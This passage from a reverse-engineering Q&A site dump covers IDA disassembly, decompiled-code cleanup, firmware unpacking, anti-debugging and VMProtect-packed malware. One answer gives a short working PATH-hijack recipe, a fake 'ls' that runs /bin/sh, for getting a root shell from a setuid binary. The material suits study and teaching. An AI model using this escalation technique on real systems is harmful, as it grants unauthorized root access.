    A very strong guess that this stream of padded DATA either stored for cache purpose or steganographed should be preceded by a JMP instruction CALL or RET, otherwise, there must be a problem.

    \n\n

    See here an example of some debuggers/decompilers that recognize padded DB's and skip over them.

    \n\n

    \"enter

    \n" }, { "Id": "17558", "CreationDate": "2018-02-28T20:52:23.523", "Body": "

    I opened wsl.exe in IDA Pro v7 and follow some strings. I saw some strings with .cpp extension. Can anyone explain what are those .cpp file in that disassembly? Where can I find it? Are those hidden somewhere?

    \n\n

    Here is an example: base\\subsys\\wsl\\lxss\\lxcmdlineshared\\svccomm.cpp

    \n\n

    \"IDA_cpp_file\"

    \n", "Title": "What are the .cpp files in IDA disassembly", "Tags": "|ida|disassembly|windows-10|", "Answer": "

    I commented and then I've read malikcjm answer

    \n\n

    So this is basically an extension of malikcjm's answer.

    \n\n

    Suppose you have a code like this and load the compiled exe into ida

    \n\n
    #include <stdio.h>\nvoid main (void){\n    printf(\"%s\\n\" ,__FILE__);\n}\n
    \n\n

    You will get the cpp file reference

    \n\n

    \"enter

    \n\n

    these __FILE__, __LINE__ etc are predefined macros that are defined in the C++ Standard as well as some Microsoft-specific predefined macros

    \n\n

    take a look PRE_DEFINED_MACROS for a discussion and usage of these predefined macros

    \n\n

    these predefined macros are not restricted to debug mode alone; they can be used in release mode also

    \n\n

    here is example code that uses them in release mode

    \n\n
    #include <windows.h>\n#pragma comment (lib , \"test.lib\")\n#pragma comment (lib , \"kernel32.lib\")\n#pragma comment (lib , \"user32.lib\")\n_declspec (dllexport) int  AddNum(int a, int b);\nchar buff[0x100] = { 0 };\nPCHAR timepass(int a, PCHAR b) {\n    wsprintfA(buff,\"%d %s\\n%s\\t%s\\t%s\\n\", a,b,__FUNCTION__,__FUNCDNAME__,__FUNCSIG__);\n    OutputDebugStringA(buff);\n    wsprintfA(buff,\"we are done passing time\\n\");\n    return buff;    \n}\nint main(void) {\n    wsprintfA(buff, \"3 + 5 = %x\\n\", AddNum(3, 5));\n    OutputDebugStringA(buff);\n    wsprintfA(buff, \"%s\\n\", __FILE__);\n    OutputDebugStringA(buff);\n    wsprintfA(buff, \"%s\\n\", __DATE__);\n    OutputDebugStringA(buff);\n    wsprintfA(buff, \"%d\\n\", __LINE__);\n    OutputDebugStringA(buff);\n    wsprintfA(buff, \"%s\\n\", __func__);\n    OutputDebugStringA(buff);\n    OutputDebugStringA(timepass(1337 , \"we are now going to pass time\"));\n    return 0;\n}\n
    \n\n

    compiled and linked with

    \n\n
     cl /nologo use%1.cpp /link /ENTRY:main /SUBSYSTEM:windows /RELEASE\n
    \n\n

    executed in debugger would show

    \n\n
    >cdb -c \"g;q\" usetest.exe | tail -n 13\nDLL_PROCESS_ATTACH Called\n\n3 + 5 = 8\nusetest.cpp\nMar  1 2018\n20\nmain\n1337 we are now going to pass time\ntimepass        ?timepass@@YAPADHPAD@Z  char *__cdecl timepass(int,char *)\nwe are done passing time\nDLL_PROCESS_DETACH Called\nquit:\n
    \n\n

    If a PDB is available we can get the so called leaks from them too an example of file paths from an ntdll pdb

    \n\n
    e:\\cvdump>cvdump -sf e:\\SYMBOLS\\ntdll.pdb\\120028FA453F4CD5A6A404EC37396A582\\ntdll.pdb >> leaks.txt\n\ne:\\cvdump>wc -l leaks.txt\n860 leaks.txt\n\ne:\\cvdump>grep \"daytona\" leaks.txt  | grep ldrs\n** Module: \"o:\\w7rtm.obj.x86fre\\minkernel\\ntdll\\daytona\\objfre\\i386\\ldrstart.obj\"\n** Module: \"o:\\w7rtm.obj.x86fre\\minkernel\\ntdll\\daytona\\objfre\\i386\\ldrsnap.obj\"\n
    \n" }, { "Id": "17566", "CreationDate": "2018-03-01T08:45:44.870", "Body": "

    I read an article on x64dbg blog(https://x64dbg.com/blog/2016/07/09/introducing-contemporary-reverse-engineering-technique-to-real-world-use.html) which mentions modern techniques of reverse engineering e.g., trace record, back tracing, Parallel debugging.\nWhat else modern techniques of reverse engineering you can tell?\nIs there any place I can learn all about it?(I don't expect too much on this)\nI'm learning reverse only on windows now, If I learn reverse engineering on Linux too will I learn more techniques?
    \nEdit:
    \nMore specific, What debug feature you think is useful but windbg don't have?

    \n", "Title": "What are modern techniques of reverse engineering?", "Tags": "|debugging|x64dbg|", "Answer": "

    If you're starting to study a new field you don't know much about, it is better to read some surveys which helps you to find recent work about the topic and presents some of the theoretical concepts used widely in that area.

    \n\n

    For your second question, most modern operating systems support similar software technologies for user-mode programs. It may be easier or harder to do some procedure in different systems but, most of the time you can do the same thing in other even if it is not equal semantically.

    \n" }, { "Id": "17576", "CreationDate": "2018-03-02T11:37:54.327", "Body": "

    I have to exploit an application and I have only the 32-bit ELF excecutable, which is also stripped. Its a suid root application and when it is executed practically run the ls -al command for a specific directory that normally is inaccessible for normal users.

    \n\n

    Any advice about how to handle this problem?

    \n", "Title": "How to exploit an suid root application", "Tags": "|elf|exploit|", "Answer": "

    If the program is setuid, you can use the fact that it is calling the command ls -al /tmp through system() from the main() function.

    \n\n
      \n

    1. Create a file ls which contains:

      \n\n
      #!/bin/sh\n/bin/sh\n
      2. \n

    2. Set it as an executable script:

      \n\n
      #> chmod +x ./ls\n
      3. \n

    3. Modify your PATH to point to the current directory:

      \n\n
      #> export PATH=.:${PATH}\n
      4. \n

    4. Run the weak software (where you have the fake ls script):

      \n\n
      #> /path/to/test\n
      5. \n
    \n\n

    Just a remark, the rest of the software seems to have been obfuscated, at least by renaming the subroutines into sub_xxxx. It may also contain other obfuscations.

    \n" }, { "Id": "17577", "CreationDate": "2018-03-02T13:05:16.610", "Body": "

    I'm practicing windows disassembly on x64 notepad.exe

    \n\n

    I've managed to find buffer allocation and string resources load.\nBut after that follows code, which I can't fully understand:
    \nrbx = 0, rdx = 0 before this part

    \n\n
                mov     r9, cs:str_res_guid_18 ;  dq 12h\n            lea     rcx, some_data         ;  some address\n            mov     edx, 28h\n            sub     r9, rcx        \n            mov     r8, rdx\n\nloc_100003150: \n            lea     rax, [r8+7FFFFFD6h]    ; what is this number?\n            cmp     rax, rbp\n            jz      short loc_100003173\n            movzx   eax, word ptr [rcx+r9] ; str_res_guid_18\n            cmp     ax, bp\n            jz      short loc_100003173\n            mov     [rcx], ax\n            add     rcx, 2\n            sub     r8, 1\n            jnz     short loc_100003150\n\nloc_100003173: \n            cmp     r8, rbp\n            jz      loc_1000058A0\n
    \n\n

    What does 7FFFFFD6h stands for? And why is it compared against null?

    \n", "Title": "Magic number in resource loading routine", "Tags": "|windows|x86-64|winapi|", "Answer": "

    This seems to be an optimized wchar_t string copy. The compiler took advantage of the fact that there is a fixed offset between source and destination. Ignoring the lea check, the assembly could be represented by this pseudocode:

    \n\n
    wchar_t *dst = &some_data; //rcx\nwchar_t *src = ?; //r9\ndelta = src-dst; //r9 =r9-dst\nmaxc = 0x28; //r8\n\nloop:\n wchar_t ch = dst[delta]; (dst+(src-dst) = src, so ch=src[i];)\n if ( ch==0 ) break;\n *dst = ch;\n dst++;\n maxc--;\n if ( maxc!=0 ) goto loop;\n
    \n\n

    Now let's look at the mysterious lea. First thing you need to remember that it's basically just a fancy mov, and the operands are not necessarily addresses.

    \n\n

    so let's take lea rax, [r8+7FFFFFD6h] and do some math:

    \n\n
    rax = r8+0x7FFFFFD6\n
    \n\n

    multiply both sides by 2:

    \n\n
    2*rax = 2*r8+0xFFFFFFAC\n
    \n\n

    treat number as signed:

    \n\n
    2*rax = 2*r8-0x54\n
    \n\n

    now divide:

    \n\n
    rax = r8 - 0x2a\n
    \n\n

    so testing rax==0 is the same as r8==0x2a. Possibly the code is checking that number of characters to copy is not greater than the buffer size.

    \n" }, { "Id": "17578", "CreationDate": "2018-03-02T14:20:06.090", "Body": "

    Frameworks like mcsema is used to convert an executable file into LLVM bitcode which can be further used to perform program analysis.

    \n\n

    Is there any way to convert an object file in the similar way?

    \n", "Title": "Converting object file to LLVM bitcode", "Tags": "|binary-analysis|", "Answer": "

    Certainly, there are at least two ways I can think of:

    \n\n
      \n

    • Add support for object file parsing to McSema

      • \n

    • Link the object file into a dummy executable and parse that.

      • \n
    \n\n

    You could also write your own lifter to llvm IR that works on object files :)

    \n" }, { "Id": "17584", "CreationDate": "2018-01-26T06:21:52.430", "Body": "

    I'm trying to Patch a 32bit ELF file with Hopper disassembler

    \n\n

    The ASM code I use is like the following

    \n\n
    mov dword ptr [eax], 15\n
    \n\n

    But when I enter that expression, Hopper consider it as invalid? It works perfectly in IDA and I'm not sure why

    \n\n

    \"enter

    \n\n

    Any ideas?

    \n", "Title": "mov dword ptr[eax], 1 is invalid in Hopper Disassembler?", "Tags": "|hopper|", "Answer": "

    I've checked version v3 and yes, it does not work with such instruction and it does work in v4. There are few bug reports that might be related to such issues.

    \n\n
      \n
    • FS#155
      • \n
    • FS#162
      • \n
    \n\n

    Unfortunately I couldn't find if there is any workaround for this apart from installing a latest one.

    \n" }, { "Id": "17586", "CreationDate": "2018-03-03T11:43:36.580", "Body": "

    I using x86dbg and am working on unpacking a target. The unpacking stub appears to be using some anti-debugging techniques - most of which I can detour with a plugin.

    \n\n

    However, there are a lot of occurrences of rdtsc in the code. The code is being generated / unpacked throughout execution so I cannot simply search for all instances of the instruction.

    \n\n

    I have tried running a trace with a condition to break when rdtsc is found but it is simply way to slow and tedious; especially since rdtsc is sometimes used in loops and it isn't as simple as just noping them out since a comparison takes place much later in the stub (it is also hard to identify where due to the excessive junk code.)

    \n\n

    Any help would be greatly appreciated,

    \n\n

    Thanks.

    \n", "Title": "How can I circumvent rdtsc when used as an anti-debugger technique?", "Tags": "|x86|unpacking|dynamic-analysis|anti-debugging|", "Answer": "

    there are a few fake rdtsc drivers floating around

    \n\n

    or if you have windbg attached in kernel mode you can toggle cr4.TSD bit and catch the exception iirc there is a script floating for that too but a fleeting google didn't land me that now ill link it later

    \n\n

    edit anti rdtsc windbg script by vallejocc

    \n\n

    here is a small demo

    \n\n
    kd> r cr4\ncr4=00000699\n\nkd> r cr4 = 69d\nkd> r cr4    \ncr4=0000069d\nkd> g    \n\n *** Unhandled exception **0xc0000096**, hit in C:\\Windows\\system32\\svchost.exe -k netsvcs:\n\n *** enter .exr 03C0F78C for the exception record\n ***  enter .cxr 03C0F7A0 for the context\n *** then kb to get the faulting stack\n\nBreak instruction exception - code 80000003 (first chance)\nntdll!RtlUnhandledExceptionFilter2+0x2ab:\n001b:7743d10d cc              int     3\n\nkd> .exr 03C0F78C\nExceptionAddress: 6dbb1358\n   ExceptionCode: c0000096\n  ExceptionFlags: 00000000\nNumberParameters: 0\n\nkd> .cxr 03C0F7A0\neax=1d218944 ebx=00000000 ecx=1ee17334 edx=0000021a esi=042708e0 edi=00000000\neip=6dbb1358 esp=03c0fa84 ebp=03c0fb08 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\n001b:6dbb1358 0f31            rdtsc  <<<<<<\nkd> kb\n  *** Stack trace for last set context - .thread/.cxr resets it\n # ChildEBP RetAddr  Args to Child              \nWARNING: Frame IP not in any known module. Following frames may be wrong.\n00 03c0fb08 6dbb150f 04270808 002767b0 03c0fb3c 0x6dbb1358\n
    \n" }, { "Id": "17593", "CreationDate": "2018-03-04T09:06:47.800", "Body": "

    I always write ad-hoc code to get the values passed to function calls, like finding the XRef to a function and then tracking back disassembly to find some specific MOV or PUSH instruction. For example, in the following example:

    \n\n
    .text:080488B1                 push    [ebp+gid]\n.text:080488B4                 push    [ebp+gid]       ; gid\n.text:080488B7                 call    setregid\n
    \n\n

    I would find the XRefs to setregid and then find \"push instructions\". Or, in the next example:

    \n\n
    LOAD:FFFFFFFF824047A4                 mov     rdi, exec_map\nLOAD:FFFFFFFF824047AC                 mov     esi, 40400h\nLOAD:FFFFFFFF824047B1                 call    kmem_alloc_wait\n
    \n\n

    I would find the XRef to kmem_alloc_wait and then find before that call the values set to the registers RDI, RSI, RDX, RCX... And for each new processor, I would have to re-write again my code to handle the specific calling convention(s) of that CPU or VM. However, I'm sure there must be some proper way of getting the argument values to function calls, from IDAPython, in a CPU agnostic way.

    \n\n

    So, do you know any way of getting the values passed to a function call from IDAPython that doesn't rely on parsing disassembly?

    \n", "Title": "IDAPython: How to get function argument values", "Tags": "|ida|idapython|", "Answer": "

    Answering my own question: I sent an email to Hex-Rays and got back the answer in like minutes. The answer is using idaapi.get_arg_addrs().

    \n\n

    For example, given the following code:

    \n\n
    LOAD:FFFFFFFF82491188                 mov     rdi, offset unk_FFFFFFFF832EF148 ; a1\nLOAD:FFFFFFFF8249118F                 mov     rsi, rbx        ; a2\nLOAD:FFFFFFFF82491192                 xor     edx, edx        ; a3\nLOAD:FFFFFFFF82491194                 xor     ecx, ecx\nLOAD:FFFFFFFF82491196                 xor     r8d, r8d\nLOAD:FFFFFFFF82491199                 call    _sx_xlock_hard\n
    \n\n

    By running idaapi.get_arg_address(0xFFFFFFFF82491199) it would return the address of the 3 arguments in the order they are given when the function is called:

    \n\n
    Python>print map(hex, idaapi.get_arg_addrs(here()))\n['0xffffffff82491188L', '0xffffffff8249118fL', '0xffffffff82491192L']\n
    \n" }, { "Id": "17604", "CreationDate": "2018-03-04T21:58:49.510", "Body": "

    I've been trying to reverse engineer a malware that has been packed with VMProtect v3.0. My first instinct was to google an automated way for this and I found a script. Unfortunately the script to unpack VMProtect protected binary does not work with version 3.0.

    \n\n

    So far I've seen that the packer changes the access rights of the sections to be writable, decrypts the original code and writes the code to the sections then changes the access rights for those sections back to their initial values. I saw that by putting breakpoint on the VirtualProtect API. After the final call to VirtualProtect I put the access breakpoint on the sections that had executable right and when my breakpoint was hit I expected it to be the OEP but when I dumped the process it did not run.

    \n\n

    From my research I understand that you need to rebuild the IAT and tools like UIF & Scylla won't be any help. Can you give me some tips on how to find the OEP or how to deal with this kind of packing mechanism in general?

    \n\n

    P.S. This is the first time I am dealing with VMProtect protected malware.

    \n\n

    UPDATE

    \n\n

    Sha256 Hash: 8200755cbedd6f15eecd8207eba534709a01957b172d7a051b9cc4769ddbf233

    \n", "Title": "Finding OEP in a VMProtect v3.0 protected malware", "Tags": "|malware|unpacking|anti-debugging|anti-dumping|", "Answer": "

    Set a breakpoint on the \"VM exit\" instruction (though there may be more than one of these if the sample is using the multiple VM option, whose proper name I don't recall). From here you can see where the VM transfers control when it exits. It will exit several times during \"packer\" mode. Eventually it will exit to OEP.

    \n" }, { "Id": "17608", "CreationDate": "2018-03-05T11:01:26.940", "Body": "

    Some symbols (from symbol table) in ELF-file belong to special sections (COMMON, ABS, UNDEF).

    \n\n

    IDA creates virtual sections for this symbols.

    \n\n

    Subject: What is the rule (or set of rules) which IDA use to create these special sections (start address, size, alignment)?

    \n", "Title": "How does IDA create COMMON, ABS and EXTERN segments of ELF-file?", "Tags": "|ida|elf|", "Answer": "

    According to IDA's ELF-loader and some tests.

    \n\n

    The order of sections in REL-file:

    \n\n
      \n
    1. COMMON
      2. \n
    2. ABS
      3. \n
    3. EXTERN
      4. \n
    \n\n

    The order of sections in EXEC-file (there is no COMMON section):

    \n\n
      \n
    1. EXTERN
      2. \n
    2. ABS
      3. \n
    \n\n

    The rules of section creation are:

    \n\n
      \n
    1. Take the adress after last real section
      2. \n
    2. Calculate the size of each virtual section = number_of_symbols * 4
      3. \n
    3. Create all needed virtual sections according to the right order
      4. \n
    4. Fill all virtual sections with the corresponding symbols from symtab
      5. \n
    5. Set End-address for each virtual section according to the real number of bytes (based on number of symbols in the section)
      6. \n
    \n" }, { "Id": "17611", "CreationDate": "2018-03-05T19:36:45.563", "Body": "

    I've be on with the application for a while now and have pinpointed some interested functions, I would like to be able to implement them in to another application but I'm not sure how to get them \"out\" of IDA.

    \n\n

    I was going to try and copy the ASM code and use that, then I found how to decompile it into some Pseudo readable Code, but I can't get it to compile again as I don't have enough experience with C.

    \n\n

    Here is the code it generated:

    \n\n
    int __usercall sub_10001000@<eax>(unsigned int a1@<eax>, int a2@<ecx>)\n    {\n      unsigned __int16 v2; // dx@1\n      unsigned int v3; // eax@1\n\n      v2 = (unsigned __int8)a1;\n      v3 = a1 >> 8;\n\n      return *(_DWORD *)(a2 + 4 * v2 + 3144)\n      + (*(_DWORD *)(a2 + 4 * (unsigned __int8)v3 + 2120) ^ (*(_DWORD *)(a2 \n      + 4 * BYTE1(v3) + 1096) + *(_DWORD *)(a2 + 4 * ((unsigned __int16)(v3 \n      >> 8) >> 8) + 72)));\n    }\n
    \n\n

    I'd like to understand what this code does and to hopefully recreate it.

    \n\n

    Would anyone be so kind as to write out a function what performs the same task ?

    \n", "Title": "help needed to understand this pseudo code from ida and possibly recreate it", "Tags": "|ida|c|", "Answer": "

    The thing about \"decompiled\" code is, it doesn't really say much about what the author was trying to do. It is simply the compiler's view on what the code meant, and the compiler will optimize away most of the readability. :P

    \n\n

    Take that \"decompiled\" function, and first off, let's turn it into compilable C.\nFor the most part, that just means stripping off the @<register> stuff from the function and parameter names. We don't care about registers any more. That's the compiler's job. :P

    \n\n
    int sub_10001000(unsigned int a1, int a2)\n{\n  unsigned __int16 v2;\n  unsigned int v3;\n\n  v2 = (unsigned __int8)a1;\n  v3 = a1 >> 8;\n\n  return *(_DWORD *)(a2 + 4 * v2 + 3144)\n  + (*(_DWORD *)(a2 + 4 * (unsigned __int8)v3 + 2120) ^ (*(_DWORD *)(a2 \n  + 4 * BYTE1(v3) + 1096) + *(_DWORD *)(a2 + 4 * ((unsigned __int16)(v3 \n  >> 8) >> 8) + 72)));\n}\n
    \n\n

    Now...see all that *(_DWORD *) stuff? It happens every time we use a2. That hints that a2 should be a _DWORD *. Note that when we do that, C will change what a2 + (whatever) means. (It'll add (whatever) * the size of a _DWORD, which is almost certainly 4.) We also have to adjust the stuff inside so that instead of adding 4 * X, we simply add X.

    \n\n
    int sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  unsigned __int16 v2;\n  unsigned int v3;\n\n  v2 = (unsigned __int8)a1;\n  v3 = a1 >> 8;\n\n  // 786 = 3144/4, 530 = 2120/4, 274 = 1096/4, 18 = 72/4\n  return *(a2 + v2 + 786) \n  + (*(a2 + (unsigned __int8)v3 + 530) ^ (*(a2\n  + BYTE1(v3) + 274) + *(a2 + ((unsigned __int16)(v3\n  >> 8) >> 8) + 18)));\n}\n
    \n\n

    Now, look at the things we're doing with v2 and v3. Converting them to 8-bit unsigned integers, shifting them by 8...taking \"byte 1\"...etc. And it's all based on a1. Basically, this code is treating a1 not as one 32-bit integer, but as four 8-bit integers.

    \n\n
      \n
    • v2 is a1 converted to an unsigned byte. The effect that v2 is the least significant, ie: first, byte of a1. v3 is the remaining three bytes.
      • \n
    • (unsigned __int8)v3 is the first byte of v3, making it the second byte of a1.
      • \n
    • BYTE1(v3) uses a function/macro/whatever that is apparently built into IDA. It represents the second byte of v3, and the third byte of a1.
      • \n
    • ((unsigned __int16)(v3 >> 8) >> 8) contains an unnecessary cast, a side effect of decompilation. (v3 is a 24-bit quantity in a 32-bit package, but the decompiler wasn't smart enough to remember that. So it added the cast in order to lop off the high byte, which is already provably zero.) It is equal to v3 >> 16, which is equivalent to a1 >> 24, and thus to the fourth byte of a1.
      • \n
    \n\n

    Let's add that observation to the code.

    \n\n
    int sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  unsigned __int16 v2;\n  unsigned int v3;\n  unsigned __int8 b0, b1, b2, b3;\n\n  v2 = (unsigned __int8)a1;\n  v3 = a1 >> 8;\n\n  b0 = v2;\n  b1 = (unsigned __int8) v3;\n  b2 = (unsigned __int8) (a1 >> 16);\n  b3 = (unsigned __int8) (a1 >> 24);\n\n  return *(a2 + b0 + 786) + (*(a2 + b1 + 530) ^ (*(a2 + b2 + 274) + *(a2 + b3 + 18)));\n}\n
    \n\n

    C says that *(pointer + offset) and pointer[offset] are equivalent. Let's see if this increases readability any.

    \n\n
    int sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  unsigned __int16 v2;\n  unsigned int v3;\n  unsigned __int8 b0, b1, b2, b3;\n\n  v2 = (unsigned __int8)a1;\n  v3 = a1 >> 8;\n\n  b0 = v2;\n  b1 = (unsigned __int8) v3;\n  b2 = (unsigned __int8) (a1 >> 16);\n  b3 = (unsigned __int8) (a1 >> 24);\n\n  return a2[b0 + 786] + (a2[b1 + 530] ^ (a2[b2 + 274] + a2[b3 + 18]));\n}\n
    \n\n

    So the formula even fits on one line now.

    \n\n

    Now, since we no longer use v2 and v3 in the function (aside from calculating the byte values, and we can do that ourselves), we can get rid of them.

    \n\n
    int sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  unsigned __int8 b0, b1, b2, b3;\n\n  b0 = a1;\n  b1 = a1 >> 8;\n  b2 = a1 >> 16;\n  b3 = a1 >> 24;\n\n  return a2[b0 + 786] + (a2[b1 + 530] ^ (a2[b2 + 274] + a2[b3 + 18]));\n}\n
    \n\n

    C has an 8-bit-integer type: uint8_t. And every modern C compiler knows about it. So we can get rid of these compiler-specific names.

    \n\n

    Also, since C99, we can declare a variable where it's first initialized.

    \n\n
    #include <stdint.h>\n\nint sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  uint8_t b0 = a1;\n  uint8_t b1 = a1 >> 8;\n  uint8_t b2 = a1 >> 16;\n  uint8_t b3 = a1 >> 24;\n\n  return a2[b0 + 786] + (a2[b1 + 530] ^ (a2[b2 + 274] + a2[b3 + 18]));\n}\n
    \n\n

    Notice now, also...when you put the numbers in order, any two adjacent numbers will have the same difference between them (256). And the first value is not at 0, but at 18. Looks like a2 is actually being treated as a pointer to a struct that looks somewhat like this (as far as we can see)...

    \n\n
    struct example {\n    DWORD unknown[18];\n    DWORD w[256];\n    DWORD x[256];\n    DWORD y[256];\n    DWORD z[256];\n};\n
    \n\n

    which would be used like...

    \n\n
    #include <stdint.h>\n\nint sub_10001000(unsigned int a1, struct example *ex)\n{\n    uint8_t b0 = a1;\n    uint8_t b1 = a1 >> 8;\n    uint8_t b2 = a1 >> 16;\n    uint8_t b3 = a1 >> 24;\n\n    return ex->z[b0] + (ex->y[b1] ^ (ex->x[b2] + ex->w[b3]));\n}\n
    \n\n

    But we can't know much more from this code alone -- including what the function is supposed to do -- so it's impossible to come up with much more meaningful names. The rest of the code should help with that.

    \n" }, { "Id": "17612", "CreationDate": "2018-03-05T20:33:10.620", "Body": "

    When I run binwalk on a abs firmware that I'm trying to unpack, the output shows several \"Unix path\" entries

    \n\n
    DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n8661260       0x84290C        Certificate in DER format (x509 v3), header length: 4, sequence length: 14208\n8757216       0x859FE0        Base64 standard index table\n8808844       0x86698C        Base64 standard index table\n8827264       0x86B180        SHA256 hash constants, little endian\n8832168       0x86C4A8        SHA256 hash constants, little endian\n8951496       0x8896C8        Base64 standard index table\n9010196       0x897C14        SHA256 hash constants, little endian\n9091512       0x8AB9B8        Base64 standard index table\n9123428       0x8B3664        CRC32 polynomial table, little endian\n9151395       0x8BA3A3        Copyright string: \"Copyright 1995-2003 Jean-loup Gailly \"\n9151564       0x8BA44C        CRC32 polynomial table, little endian\n9201972       0x8C6934        Copyright string: \"Copyright (C) 2013, Thomas G. Lane, Guido Vollbeding\"\n9253344       0x8D31E0        Unix path: /usr/app/.vpn.key\n9282390       0x8DA356        Copyright string: \"Copyrights   : %s\"\n9342840       0x8E8F78        Unix path: /etc/Wireless/RT2870STA/e2p.bin\n9354428       0x8EBCBC        Unix path: /etc/Wireless/RT2870AP/RT2870AP.dat\n9357504       0x8EC8C0        XML document, version: \"1.0\"\n9359180       0x8ECF4C        Unix path: /var/lib/share/MT7601/MT7601EEPROM.bin\n9385369       0x8F3599        Copyright string: \"copyright (c) 2001-8 by D.I. Management Services Pty Limited <www.di-mgt.com.au>, and is used with permission.\"\n9400932       0x8F7264        HTML document header\n9401331       0x8F73F3        HTML document footer\n9403016       0x8F7A88        XML document, version: \"1.0\"\n9440752       0x900DF0        Unix path: /usr/local/ssl/private\n9450924       0x9035AC        Ubiquiti firmware header, third party, ~CRC32: 0x6974730A, version: \"SSL_init\"\n9526724       0x915DC4        XML document, version: \"1.0\"\n9528496       0x9164B0        XML document, version: \"1.0\"\n9530608       0x916CF0        XML document, version: \"1.0\"\n9531916       0x91720C        XML document, version: \"1.0\"\n9534644       0x917CB4        XML document, version: \"1.0\"\n9541444       0x919744        XML document, version: \"1.0\"\n9545824       0x91A860        XML document, version: \"1.0\"\n9547748       0x91AFE4        XML document, version: \"1.0\"\n9552720       0x91C350        XML document, version: \"1.0\"\n9557152       0x91D4A0        XML document, version: \"1.0\"\n9573672       0x921528        XML document, version: \"1.0\"\n9579428       0x922BA4        XML document, version: \"1.0\"\n9611684       0x92A9A4        XML document, version: \"1.0\"\n9613432       0x92B078        HTML document footer\n9613440       0x92B080        HTML document header\n9618912       0x92C5E0        XML document, version: \"1.0\"\n10022232      0x98ED58        CRC32 polynomial table, little endian\n10046884      0x994DA4        CRC32 polynomial table, little endian\n10243368      0x9C4D28        JPEG image data, JFIF standard 1.01\n10243398      0x9C4D46        TIFF image data, big-endian, offset of first image directory: 8\n10249176      0x9C63D8        JPEG image data, JFIF standard 1.01\n10249206      0x9C63F6        TIFF image data, big-endian, offset of first image directory: 8\n10251812      0x9C6E24        PNG image, 120 x 120, 8-bit/color RGB, non-interlaced\n10251903      0x9C6E7F        Zlib compressed data, compressed\n10258248      0x9C8748        PNG image, 48 x 48, 8-bit/color RGB, non-interlaced\n
    \n\n

    How to go about unpacking or mounting this filesystem, binwalk doesn't seem to be able to give a good result

    \n\n
    binwalk --dd='.*' maincode.abs\n
    \n\n

    Is there a way to mount this abs file?

    \n\n

    abs file

    \n", "Title": "binwalk showing \"Unix path\", how to extract the filesystem?", "Tags": "|firmware|unpacking|", "Answer": "

    The abs file seems to contain an RTOS (real-time OS) image. In this case the code and the resources are compiled into a one large image without a real file system. So, you can't unpack or mount any file system. But, you can extract some resources by reversing the image with a disassembler or using binwalk.

    \n\n

    The unix paths found by binwalk are just strings in the image, which may are not used at all.

    \n" }, { "Id": "17614", "CreationDate": "2018-03-06T02:08:24.567", "Body": "

    I am very new to this whole business so please bear with me.

    \n\n

    Goal

    \n\n

    My goal is to read JSON data from a game. Since I do not know what kind of information will/will not be useful, here are some of the details:

    \n\n
      \n
    • It is an obscure mobile game by a Japanese company.
      • \n
    • All the JSON files were under the folder named binarytableassetsen (they put either en or jp at the end of some of their folders).
      • \n
    \n\n

    Examples

    \n\n

    Here's an example of one of the said files called battle_pvp_cost.json.
    \nxxd battle_pvp_cost_2.json > temp.txt

    \n\n
    00000000: 1400 0000 6261 7474 6c65 5f70 7670 5f63  ....battle_pvp_c\n00000010: 6f73 742e 6a73 6f6e 3701 0000 87ce ef3e  ost.json7......>\n00000020: 47d6 93a2 656e a265 6ea2 6a70 ceb4 8e44  G...en.en.jp...D\n00000030: ecda 0029 789c 8b56 3254 d251 3202 6263  ...)x..V2T.Q2.bc\n00000040: 2036 0162 5320 3603 6273 20b6 0062 4b20   6.bS 6.bs ..bK \n00000050: 3634 0011 864a b10c 00c6 3707 fdce aca5  64...J....7.....\n00000060: d333 29ce befb 0353 c3ce 70da a798 a0ce  .3)....S..p.....\n00000070: b982 0d5b 00ce 1ab8 1a85 8bce 83dc efb7  ...[............\n00000080: 82ce bf39 6750 01ce 1826 94fc 32ce 1ad5  ...9gP...&..2...\n00000090: be0d 82ce bf39 6750 02ce 1826 94fc 64ce  .....9gP...&..d.\n000000a0: 6dd2 8e9b 82ce bf39 6750 03ce 1826 94fc  m......9gP...&..\n000000b0: d100 c8ce f3b6 1b38 82ce bf39 6750 04ce  .......8...9gP..\n000000c0: 1826 94fc d101 2cce 84b1 2bae 82ce bf39  .&....,...+....9\n000000d0: 6750 05ce 1826 94fc d101 90ce 1db8 7a14  gP...&........z.\n000000e0: 82ce bf39 6750 06ce 1826 94fc d101 f4ce  ...9gP...&......\n000000f0: 6abf 4a82 82ce bf39 6750 07ce 1826 94fc  j.J....9gP...&..\n00000100: d102 58ce fa00 5713 82ce bf39 6750 08ce  ..X...W....9gP..\n00000110: 1826 94fc d102 bcce 8d07 6785 82ce bf39  .&........g....9\n00000120: 6750 09ce 1826 94fc d103 20ce a15d 25e1  gP...&.... ..]%.\n00000130: 82ce bf39 6750 0ace 1826 94fc d103 84ce  ...9gP...&......\n00000140: d65a 1577 82ce bf39 6750 0bce 1826 94fc  .Z.w...9gP...&..\n00000150: d103 e800 0000 0000                      ........\n
    \n\n

    All of them begins in the same way with a value in the first byte followed by 3 bytes of 0s and then the file name.

    \n\n

    Attempts

    \n\n
      \n
    • I used signsrch suggested by this answer but found 0 signatures.
      • \n
    • I played around with Burp suite decoder, but the output is equally messed up. The smart decode didn't give any output.
      • \n
    • I also found this collection of compression algorithms. Some of them share the characteristic of having some of the data uncompressed like the lzo1x, but none of them seems to have the same amount of special characters. Does this mean there's a layer of obfuscation involved?
      • \n
    \n\n

    If anyone recognises what this is or can point me in the right direction, then I am all ears. Please let me know if there is any more information I can provide to help guide the process. I've tried to put in all the details I think are relevant, but I am new to file decryption and may miss some crucial hints.

    \n\n
    \n\n

    Edit

    \n\n
      \n
    1. Opening the file correctly in the first place using a text editor that can handle binary data. [Reading 1] [Reading 2] [Reading 3]
      2. \n
    2. The files I got were exported from [Tool 1: DevXUnity] and seems to be different from how I see it on the hex viewer within the tool itself (the first hex dump in this question) just as blabb and w s pointed out. I've included a link to the other version of the first example json. [Reading 1] [Tool 2: UnityEX]
      3. \n
    3. Found some related scripts:
      4. \n
    \n\n

    Scripts

    \n\n

    Found Parser.Parse(json); in Json.cs and tried to mock it up on Unity but the result is incorrect.

    \n\n

    Here're the scripts + json files in a shared gdrive.

    \n\n

    Call stacks from when the JSON was first referenced:

    \n\n
